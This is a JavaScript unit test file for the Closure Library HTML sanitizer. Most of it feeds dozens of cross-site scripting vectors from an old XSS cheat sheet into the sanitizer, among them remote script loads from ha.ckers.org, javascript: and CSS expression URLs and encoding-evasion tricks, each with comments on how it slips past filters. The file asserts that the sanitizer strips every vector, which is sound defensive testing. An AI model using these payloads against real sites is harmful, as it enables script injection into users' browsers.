accessibility-developer-tools
Version:
This is a library of accessibility-related testing and utility code.
1,259 lines (1,095 loc) • 56.8 kB
JavaScript
// Copyright 2016 The Closure Library Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS-IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/**
* @fileoverview Unit tests for HTML Sanitizer
*/
goog.setTestOnly();
goog.require('goog.array');
goog.require('goog.dom');
goog.require('goog.html.SafeHtml');
goog.require('goog.html.SafeUrl');
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.html.sanitizer.TagWhitelist');
goog.require('goog.html.sanitizer.unsafe');
goog.require('goog.html.testing');
goog.require('goog.object');
goog.require('goog.string.Const');
goog.require('goog.testing.dom');
goog.require('goog.testing.jsunit');
goog.require('goog.userAgent');
/**
* @return {boolean} Whether the browser is IE8 or below.
*/
function isIE8() {
return goog.userAgent.IE && !goog.userAgent.isVersionOrHigher(9);
}
/**
* @return {boolean} Whether the browser is IE9.
*/
function isIE9() {
return goog.userAgent.IE && !goog.userAgent.isVersionOrHigher(10) && !isIE8();
}
/**
* Sanitizes the original HTML and asserts that it is the same as the expected
* HTML. If present the config is passed through to the sanitizer.
* @param {string} originalHtml
* @param {string} expectedHtml
* @param {?goog.html.sanitizer.HtmlSanitizer=} opt_sanitizer
*/
function assertSanitizedHtml(originalHtml, expectedHtml, opt_sanitizer) {
var sanitizer =
opt_sanitizer || new goog.html.sanitizer.HtmlSanitizer.Builder().build();
try {
var sanitized = sanitizer.sanitize(originalHtml);
if (isIE9()) {
assertEquals('', goog.html.SafeHtml.unwrap(sanitized));
return;
}
goog.testing.dom.assertHtmlMatches(
expectedHtml, goog.html.SafeHtml.unwrap(sanitized),
true /* opt_strictAttributes */);
} catch (err) {
if (!isIE8()) {
throw err;
}
}
}
/**
* @param {!goog.html.SafeHtml} safeHtml Sanitized HTML which contains a style.
* @return {string} cssText contained within SafeHtml.
*/
function getStyle(safeHtml) {
var tmpElement = goog.dom.safeHtmlToNode(safeHtml);
return tmpElement.style ? tmpElement.style.cssText : '';
}
function testHtmlSanitizeSafeHtml() {
var html;
html = 'hello world';
assertSanitizedHtml(html, html);
html = '<b>hello world</b>';
assertSanitizedHtml(html, html);
html = '<i>hello world</i>';
assertSanitizedHtml(html, html);
html = '<u>hello world</u>';
assertSanitizedHtml(html, html);
// NOTE(user): original did not have tbody
html = '<table><tbody><tr><td>hello world</td></tr></tbody></table>';
assertSanitizedHtml(html, html);
html = '<h1>hello world</h1>';
assertSanitizedHtml(html, html);
html = '<div>hello world</div>';
assertSanitizedHtml(html, html);
html = '<a>hello world</a>';
assertSanitizedHtml(html, html);
html = '<div><span>hello world</span></div>';
assertSanitizedHtml(html, html);
html = '<div><a target=\'_blank\'>hello world</a></div>';
assertSanitizedHtml(html, html);
}
// TODO(pelizzi): name of test does not make sense
function testDefaultCssSanitizeImage() {
var html = '<div></div>';
assertSanitizedHtml(html, html);
}
function testAllowedCssSanitizeImage() {
var testUrl = 'http://www.example.com/image3.jpg';
var html = '<div style="background: url(' + testUrl + ');"></div>';
var sanitizer =
new goog.html.sanitizer.HtmlSanitizer.Builder()
.allowCssStyles()
.withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
.build();
try {
var sanitizedHtml = sanitizer.sanitize(html);
if (isIE9()) {
assertEquals('', goog.html.SafeHtml.unwrap(sanitizedHtml));
return;
}
assertRegExp(
/background(?:-image)?:.*url\(.?http:\/\/www.example.com\/image3.jpg.?\)/,
getStyle(sanitizedHtml));
} catch (err) {
if (!isIE8()) {
throw err;
}
}
}
function testHtmlSanitizeXSS() {
// NOTE(user): xss cheat sheet found on http://ha.ckers.org/xss.html
var safeHtml, xssHtml;
// Inserting <script> tags is unsafe
// Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<SCRIPT SRC=xss.js><\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// removes strings like javascript:, alert, etc
// Image XSS using the javascript directive
// Browser Support [IE6.0|IE8.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC="javascript:xss=true;">';
assertSanitizedHtml(xssHtml, safeHtml);
safeHtml = '<div><a>hello world</a></div>';
xssHtml = '<div><a target=\'_xss\'>hello world</a></div>';
assertSanitizedHtml(xssHtml, safeHtml);
safeHtml = '';
xssHtml = '<IFRAME SRC="javascript:xss=true;">';
assertSanitizedHtml(xssHtml, safeHtml);
safeHtml = '';
xssHtml = '<iframe src=" javascript:xss=true;">';
assertSanitizedHtml(xssHtml, safeHtml);
// no quotes and no semicolon
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=javascript:alert("XSS")>';
assertSanitizedHtml(xssHtml, safeHtml);
// case insensitive xss attack
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=JaVaScRiPt:alert("XSS")>';
assertSanitizedHtml(xssHtml, safeHtml);
// HTML Entities
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=javascript:alert("XSS")>';
assertSanitizedHtml(xssHtml, safeHtml);
// Grave accent obfuscation (If you need to use both double and single quotes
// you can use a grave accent to encapsulate the JavaScript string)
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=`javascript:alert("foo \'bar\'")`>';
assertSanitizedHtml(xssHtml, safeHtml);
safeHtml = '<img />';
xssHtml = '<IMG data-xxx=`yyy`>';
assertSanitizedHtml(xssHtml, safeHtml);
// Malformed IMG tags
// http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300
// Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
safeHtml = '<img />">';
xssHtml = '<IMG """><SCRIPT defer>exploited = true;<\/SCRIPT>">';
assertSanitizedHtml(xssHtml, safeHtml);
// UTF-8 Unicode encoding
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=javascrip' +
't:alert('XSS'' +
')>';
assertSanitizedHtml(xssHtml, safeHtml);
// Long UTF-8 Unicode encoding without semicolons (this is often effective
// in XSS that attempts to look for "&#XX;", since most people don't know
// about padding - up to 7 numeric characters total). This is also useful
// against people who decode against strings like
// $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon
// is required to terminate a html encoded string:
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=javasc' +
'ript:al' +
'ert('XS' +
'S')>';
assertSanitizedHtml(xssHtml, safeHtml);
// Hex encoding without semicolons (this is also a viable XSS attack against
// the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that
// there is a numeric character following the pound symbol - which is not true
// with hex HTML characters). Use the XSS calculator for more information:
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=javascript:' +
'alert('XSS')>';
assertSanitizedHtml(xssHtml, safeHtml);
// Embedded tab
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC="jav\tascript:xss=true;">';
assertSanitizedHtml(xssHtml, safeHtml);
// Embedded encoded tab
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC="jav	ascript:xss=true;">';
assertSanitizedHtml(xssHtml, safeHtml);
// Embeded newline to break up XSS. Some websites claim that any of the chars
// 09-13 (decimal) will work for this attack. That is incorrect. Only 09
// (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii
// chart for more details. The following four XSS examples illustrate this
// vector:
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC="jav
ascript:xss=true;">';
assertSanitizedHtml(xssHtml, safeHtml);
// Multiline Injected JavaScript using ASCII carriage returns (same as above
// only a more extreme example of this XSS vector) these are not spaces just
// one of the three characters as described above:
// Browser Support [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt' +
'\n(\n"\nX\nS\nS\n"\n)\n"\n>';
assertSanitizedHtml(xssHtml, safeHtml);
// Null breaks up JavaScript directive. Okay, I lied, null chars also work as
// XSS vectors but not like above, you need to inject them directly using
// something like Burp Proxy or use %00 in the URL string or if you want to
// write your own injection tool you can either use vim (^V^@ will produce a
// null) or the following program to generate it into a text file. Okay, I
// lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable
// to one additional char 173 (the soft hypen control char). But the null
// char %00 is much more useful and helped me bypass certain real world
// filters with a variation on this example:
// Browser Support [IE6.0|IE7.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=java\0script:alert("hey");>';
assertSanitizedHtml(xssHtml, safeHtml);
// On IE9, the null character actually causes us to only see <SCR. The
// sanitizer on IE9 doesn't "recover as well" as other browsers but the
// result is safe.
safeHtml = isIE9() ? '' : '<span>alert("XSS")</span>';
xssHtml = '<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// Spaces and meta chars before the JavaScript in images for XSS (this is
// useful if the pattern match doesn't take into account spaces in the word
// "javascript:" -which is correct since that won't render- and makes the
// false assumption that you can't have a space between the quote and the
// "javascript:" keyword. The actual reality is you can have any char from
// 1-32 in decimal):
// Browser Support [IE7.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC="  javascript:alert(window);">';
assertSanitizedHtml(xssHtml, safeHtml);
// Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I
// found that it assumes a non-alpha-non-digit is not valid after an HTML
// keyword and therefor considers it to be a whitespace or non-valid token
// after an HTML tag. The problem is that some XSS filters assume that the
// tag they are looking for is broken up by whitespace.
// Browser Support [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this
// vector, based on the same idea as above, however, I expanded on it, using
// my fuzzer. The Gecko rendering engine allows for any character other than
// letters, numbers or encapsulation chars (like quotes, angle brackets,
// etc...) between the event handler and the equals sign, making it easier
// to bypass cross site scripting blocks. Note that this also applies to the
// grave accent char as seen here:
// Browser support: [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>';
assertSanitizedHtml(xssHtml, safeHtml);
// Non-alpha-non-digit part 3 XSS. Yair Amit brought this to my attention
// that there is slightly different behavior between the IE and Gecko
// rendering engines that allows just a slash between the tag and the
// parameter with no spaces. This could be useful if the system does not
// allow spaces.
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<SCRIPT/SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector
// could defeat certain detection engines that work by first using matching
// pairs of open and close angle brackets and then by doing a comparison of
// the tag inside, instead of a more efficient algorythm like Boyer-Moore that
// looks for entire string matches of the open angle bracket and associated
// tag (post de-obfuscation, of course). The double slash comments out the
// ending extraneous bracket to supress a JavaScript error:
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
safeHtml = '<';
xssHtml = '<<SCRIPT>xss=true;//<<\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering
// engine mode you don't actually need the "><\/SCRIPT>" portion of this Cross
// Site Scripting vector. Firefox assumes it's safe to close the HTML tag and
// add closing tags for you. How thoughtful! Unlike the next one, which
// doesn't effect Firefox, this does not require any additional HTML below it.
// You can add quotes if you need to, but they're not needed generally,
// although beware, I have no idea what the HTML will end up looking like once
// this is injected:
// Browser support: [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>';
assertSanitizedHtml(xssHtml, safeHtml);
// Protocol resolution in script tags. This particular variant was submitted
// by Lukasz Pilorz and was based partially off of Ozh's protocol resolution
// bypass below. This cross site scripting example works in IE, Netscape in
// IE rendering mode and Opera if you add in a <\/SCRIPT> tag at the end.
// However, this is especially useful where space is an issue, and of course,
// the shorter your domain, the better. The ".j" is valid, regardless of the
// encoding type because the browser knows it in context of a SCRIPT tag.
// Browser support: [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<SCRIPT SRC=//ha.ckers.org/.j>';
assertSanitizedHtml(xssHtml, safeHtml);
// Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering
// engine doesn't add extra data to your page, but it does allow the
// javascript: directive in images. This is useful as a vector because it
// doesn't require a close angle bracket. This assumes there is any HTML tag
// below where you are injecting this cross site scripting vector. Even though
// there is no close ">" tag the tags below it will close it. A note: this
// does mess up the HTML, depending on what HTML is beneath it. It gets around
// the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
// because it doesn't require the end ">". As a side note, this was also
// affective against a real world XSS filter I came across using an open
// ended <IFRAME tag instead of an <IMG tag:
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = isIE9() ? '<img>' : '';
xssHtml = '<IMG SRC="javascript:alert(this)"';
assertSanitizedHtml(xssHtml, safeHtml);
// Double open angle brackets. This is an odd one that Steven Christey
// brought to my attention. At first I misclassified this as the same XSS
// vector as above but it's surprisingly different. Using an open angle
// bracket at the end of the vector instead of a close angle bracket causes
// different behavior in Netscape Gecko rendering. Without it, Firefox will
// work but Netscape won't:
// Browser support: [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<iframe src=http://ha.ckers.org/scriptlet.html <';
assertSanitizedHtml(xssHtml, safeHtml);
// End title tag. This is a simple XSS vector that closes <TITLE> tags,
// which can encapsulate the malicious cross site scripting attack:
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '</TITLE><SCRIPT>alert(window);<\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// Input Image.
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '<input type="IMAGE" />';
xssHtml = '<INPUT TYPE="IMAGE" SRC="javascript:alert(window);">';
assertSanitizedHtml(xssHtml, safeHtml);
// Body image.
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '';
xssHtml = '<BODY BACKGROUND="javascript:alert(window)">';
assertSanitizedHtml(xssHtml, safeHtml);
// BODY tag (I like this method because it doesn't require using any variants
// of "javascript:" or "<SCRIPT..." to accomplish the XSS attack).
// Dan Crowley additionally noted that you can put a space before the equals
// sign ("onload=" != "onload ="):
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
safeHtml = '';
xssHtml = '<BODY ONLOAD=alert(window)>';
assertSanitizedHtml(xssHtml, safeHtml);
// IMG SYNSRC.
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG DYNSRC="javascript:alert(window)">';
assertSanitizedHtml(xssHtml, safeHtml);
// IMG LOWSRC.
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG LOWSRC="javascript:alert(window)">';
assertSanitizedHtml(xssHtml, safeHtml);
// BGSOUND
safeHtml = '';
xssHtml = '<BGSOUND SRC="javascript:alert(window);">';
assertSanitizedHtml(xssHtml, safeHtml);
// & Javascript includes
// Browser support: netscape 4
safeHtml = '<br size="&{alert(window)}" />';
xssHtml = '<BR SIZE="&{alert(window)}">';
assertSanitizedHtml(xssHtml, safeHtml);
// Layer
// Browser support: netscape 4
safeHtml = '';
xssHtml = '<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>';
assertSanitizedHtml(xssHtml, safeHtml);
// STYLE sheet
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '';
xssHtml = '<LINK REL="stylesheet" HREF="javascript:alert(window);">';
assertSanitizedHtml(xssHtml, safeHtml);
// List-style-image. Fairly esoteric issue dealing with embedding images for
// bulleted lists. This will only work in the IE rendering engine because of
// the JavaScript directive. Not a particularly useful cross site scripting
// vector:
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '<ul><li>XSS</li></ul>';
xssHtml = '<STYLE>li {list-style-image: url("javascript:alert(window)");}' +
'</STYLE><UL><LI>XSS';
assertSanitizedHtml(xssHtml, safeHtml);
// VBscript in an image:
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG SRC=\'vbscript:msgbox("XSS")\'>';
assertSanitizedHtml(xssHtml, safeHtml);
// Mock in an image:
// Browser support: [NS4]
safeHtml = '<img />';
xssHtml = '<IMG SRC="mocha:[code]">';
assertSanitizedHtml(xssHtml, safeHtml);
// Livescript in an image:
// Browser support: [NS4]
safeHtml = '<img />';
xssHtml = '<IMG SRC="livescript:[code]">';
assertSanitizedHtml(xssHtml, safeHtml);
// META (the odd thing about meta refresh is that it doesn't send a referrer
// in the header - so it can be used for certain types of attacks where you
// need to get rid of referring URLs):
// Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = '';
xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0;url=' +
'javascript:alert(window);">';
assertSanitizedHtml(xssHtml, safeHtml);
// META using data: directive URL scheme. This is nice because it also doesnt
// have anything visibly that has the word SCRIPT or the JavaScript directive
// in it, because it utilizes base64 encoding. Please see RFC 2397 for more
// details or go here or here to encode your own. You can also use the XSS
// calculator below if you just want to encode raw HTML or JavaScript as it
// has a Base64 encoding method:
// Browser support: [NS8.1-G|FF2.0] [O9.02]
safeHtml = '';
xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,' +
'PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">';
assertSanitizedHtml(xssHtml, safeHtml);
// META with additional URL parameter. If the target website attempts to see
// if the URL contains "http://" at the beginning you can evade it with the
// following technique (Submitted by Moritz Naumann):
safeHtml = '';
xssHtml = '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=' +
'javascript:alert(window);">';
assertSanitizedHtml(xssHtml, safeHtml);
// IFRAME (if iframes are allowed there are a lot of other XSS problems as
// well):
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = '';
xssHtml = '<IFRAME SRC="javascript:alert(window);"></IFRAME>';
assertSanitizedHtml(xssHtml, safeHtml);
// FRAME (frames have the same sorts of XSS problems as iframes):
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = '';
xssHtml = '<FRAMESET><FRAME SRC="javascript:alert(window);"></FRAMESET>';
assertSanitizedHtml(xssHtml, safeHtml);
// TABLE (who would have thought tables were XSS targets... except me, of
// course):
// Browser support: [IE6.0|NS8.1-IE] [O9.02]
safeHtml = isIE9() ? '<table><div></div></table>' : '<table></table>';
xssHtml = '<TABLE BACKGROUND="javascript:alert(window)">';
// TODO(danesh): Investigate why this is different for IE9.
assertSanitizedHtml(xssHtml, safeHtml);
// TD (just like above, TD's are vulnerable to BACKGROUNDs containing
// JavaScript XSS vectors):
// Browser support: [IE6.0|NS8.1-IE] [O9.02]
// NOTE(user): original lacked tbody tags
safeHtml = '<table><tbody><tr><td></td></tr></tbody></table>';
xssHtml = '<TABLE><TD BACKGROUND="javascript:alert(window)">';
assertSanitizedHtml(xssHtml, safeHtml);
// TD (just like above, TD's are vulnerable to BACKGROUNDs containing
// JavaScript XSS vectors):
// Browser support: [IE6.0|NS8.1-IE] [O9.02]
safeHtml = '<div></div>';
xssHtml = '<DIV STYLE="background-image: url(javascript:alert(window))">';
assertSanitizedHtml(xssHtml, safeHtml);
// DIV background-image plus extra characters. I built a quick XSS fuzzer to
// detect any erroneous characters that are allowed after the open parenthesis
// but before the JavaScript directive in IE and Netscape 8.1 in secure site
// mode. These are in decimal but you can include hex and add padding of
// course. (Any of the following chars can be used: 1-32, 34, 39, 160,
// 8192-8.13, 12288, 65279):
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '<div></div>';
xssHtml = '<DIV STYLE="background-image: url(javascript:alert(window))">';
assertSanitizedHtml(xssHtml, safeHtml);
// DIV expression - a variant of this was effective against a real world
// cross site scripting filter using a newline between the colon and
// "expression":
// Browser support: [IE7.0|IE6.0|NS8.1-IE]
safeHtml = '<div></div>';
xssHtml = '<DIV STYLE="width: expression(alert(window));">';
assertSanitizedHtml(xssHtml, safeHtml);
// STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE
// into an infinite loop of alerts):
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '';
xssHtml = '<STYLE>@im\port\'\ja\vasc\ript:alert(window)\';</STYLE>';
assertSanitizedHtml(xssHtml, safeHtml);
// STYLE attribute using a comment to break up expression (Thanks to Roman
// Ivanov for this one):
// Browser support: [IE7.0|IE6.0|NS8.1-IE]
safeHtml = '<img />';
xssHtml = '<IMG STYLE="xss:expr/*XSS*/ession(alert(window))">';
assertSanitizedHtml(xssHtml, safeHtml);
// Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE
// rendering engine mode don't really care if the HTML tag you build exists
// or not, as long as it starts with an open angle bracket and a letter):
safeHtml = '<span></span>';
xssHtml = '<XSS STYLE="xss:expression(alert(window))">';
assertSanitizedHtml(xssHtml, safeHtml);
// IMG STYLE with expression (this is really a hybrid of the above XSS
// vectors, but it really does show how hard STYLE tags can be to parse apart,
// like above this can send IE into a loop):
// Browser support: [IE7.0|IE6.0|NS8.1-IE]
safeHtml = isIE9() ? 'undefined' : 'exp/*<a></a>';
xssHtml = 'exp/*<A STYLE="no\\xss:noxss("*//*");xss:ex/*XSS*//*' +
'/*/pression(alert(window))">';
assertSanitizedHtml(xssHtml, safeHtml);
// STYLE tag (Older versions of Netscape only):
// Browser support: [NS4]
safeHtml = '';
xssHtml = '<STYLE TYPE="text/javascript">xss=true;</STYLE>';
assertSanitizedHtml(xssHtml, safeHtml);
// STYLE tag using background-image:
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = isIE9() ? 'undefined' : '<a></a>';
xssHtml = '<STYLE>.XSS{background-image:url("javascript:alert("XSS")");}' +
'</STYLE><A CLASS=XSS></A>';
assertSanitizedHtml(xssHtml, safeHtml);
// BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to
// comment out the next characters so you won't get a JavaScript error and
// your XSS tag will render. Also, this relies on the fact that the website
// uses dynamically placed images like "images/image.jpg" rather than full
// paths. If the path includes a leading forward slash like
// "/images/image.jpg" you can remove one slash from this vector (as long as
// there are two to begin the comment this will work):
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = '';
xssHtml = '<BASE HREF="javascript:xss=true;//">';
assertSanitizedHtml(xssHtml, safeHtml);
// OBJECT tag (if they allow objects, you can also inject virus payloads to
// infect the users, etc. and same with the APPLET tag). The linked file is
// actually an HTML file that can contain your XSS:
// Browser support: [O9.02]
safeHtml = '';
xssHtml = '<OBJECT TYPE="text/x-scriptlet" ' +
'DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>';
assertSanitizedHtml(xssHtml, safeHtml);
// Using an EMBED tag you can embed a Flash movie that contains XSS. Click
// here for a demo. If you add the attributes allowScriptAccess="never" and
// allownetworking="internal" it can mitigate this risk (thank you to Jonathan
// Vanasco for the info).:
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = '';
xssHtml = '<EMBED SRC="http://ha.ckers.org/xss.swf" ' +
'AllowScriptAccess="always"></EMBED>';
assertSanitizedHtml(xssHtml, safeHtml);
// You can EMBED SVG which can contain your XSS vector. This example only
// works in Firefox, but it's better than the above vector in Firefox because
// it does not require the user to have Flash turned on or installed. Thanks
// to nEUrOO for this one.
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = '';
xssHtml = '<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH' +
' A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv Mj' +
'AwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB' +
'2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBp' +
'ZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpO' +
'zwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" ' +
'AllowScriptAccess="always"></EMBED>';
assertSanitizedHtml(xssHtml, safeHtml);
// XML namespace. The htc file must be located on the same server as your XSS
// vector:
// Browser support: [IE7.0|IE6.0|NS8.1-IE]
safeHtml = '<span>XSS</span>';
xssHtml = '<HTML xmlns:xss>' +
'<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">' +
'<xss:xss>XSS</xss:xss>' +
'</HTML>';
assertSanitizedHtml(xssHtml, safeHtml);
// XML data island with CDATA obfuscation (this XSS attack works only in IE
// and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult
// while auditing Yahoo:
// Browser support: [IE6.0|NS8.1-IE]
safeHtml = isIE9() ? '<span><span></span></span>' :
'<span><span><span>]]></span></span></span>' +
'<span></span>';
xssHtml = '<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]>' +
'<![CDATA[cript:xss=true;">]]>' +
'</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>';
assertSanitizedHtml(xssHtml, safeHtml);
// HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This
// only works in Internet Explorer and Netscape 8.1 in IE rendering engine
// mode and remember that you need to be between HTML and BODY tags for this
// to work:
// Browser support: [IE7.0|IE6.0|NS8.1-IE]
safeHtml = '<span></span>';
xssHtml = '<HTML><BODY>' +
'<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">' +
'<?import namespace="t" implementation="#default#time2">' +
'<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>' +
'alert("XSS")</SCRIPT>">' +
'</BODY></HTML>';
assertSanitizedHtml(xssHtml, safeHtml);
// IMG Embedded commands - this works when the webpage where this is injected
// (like a web-board) is behind password protection and that password
// protection works with other commands on the same domain. This can be used
// to delete users, add users (if the user who visits the page is an
// administrator), send credentials elsewhere, etc.... This is one of the
// lesser used but more useful XSS vectors:
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = '<img />';
xssHtml = '<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?' +
'somevariables=maliciouscode">';
assertSanitizedHtml(xssHtml, safeHtml);
// This was tested in IE, your mileage may vary. For performing XSS on sites
// that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex
// filter "/<script[^>]+src/i":
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = '';
xssHtml = '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
safeHtml = '';
xssHtml = '<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// This XSS still worries me, as it would be nearly impossible to stop this
// without blocking all active content:
// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
safeHtml = 'PT SRC="http://ha.ckers.org/xss.js">';
xssHtml = '<SCRIPT>document.write("<SCRI");<\/SCRIPT>PT ' +
'SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
assertSanitizedHtml(xssHtml, safeHtml);
// US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding
// with 7 bits instead of 8. This XSS may bypass many content filters but
// only works if the host transmits in US-ASCII encoding, or if you set the
// encoding yourself. This is more useful against web application firewall
// cross site scripting evasion than it is server side filter evasion. Apache
// Tomcat is the only known server that transmits in US-ASCII encoding. I
// highly suggest anyone interested in alternate encoding issues look at my
// charsets issues page:
// Browser support: [IE7.0|IE6.0|NS8.1-IE]
// NOTE(danesh): We'd sanitize this if we received the (mis-)appropriately
// encoded version of this.
// safeHtml = ' script alert( XSS ) /script ';
// xssHtml = '¼script¾alert(¢XSS¢)¼/script¾';
// assertSanitizedHtml(xssHtml, safeHtml);
// Escaping JavaScript escapes. When the application is written to output some
// user information inside of a JavaScript like the following:
// <SCRIPT>var a="$ENV{QUERY_STRING}";<\/SCRIPT> and you want to inject your
// own JavaScript into it but the server side application escapes certain
// quotes you can circumvent that by escaping their escape character. When
// this is gets injected it will read
// <SCRIPT>var a="\\";alert('XSS');//";<\/SCRIPT> which ends up un-escaping
// the double quote and causing the Cross Site Scripting vector to fire.
// The XSS locator uses this method.:
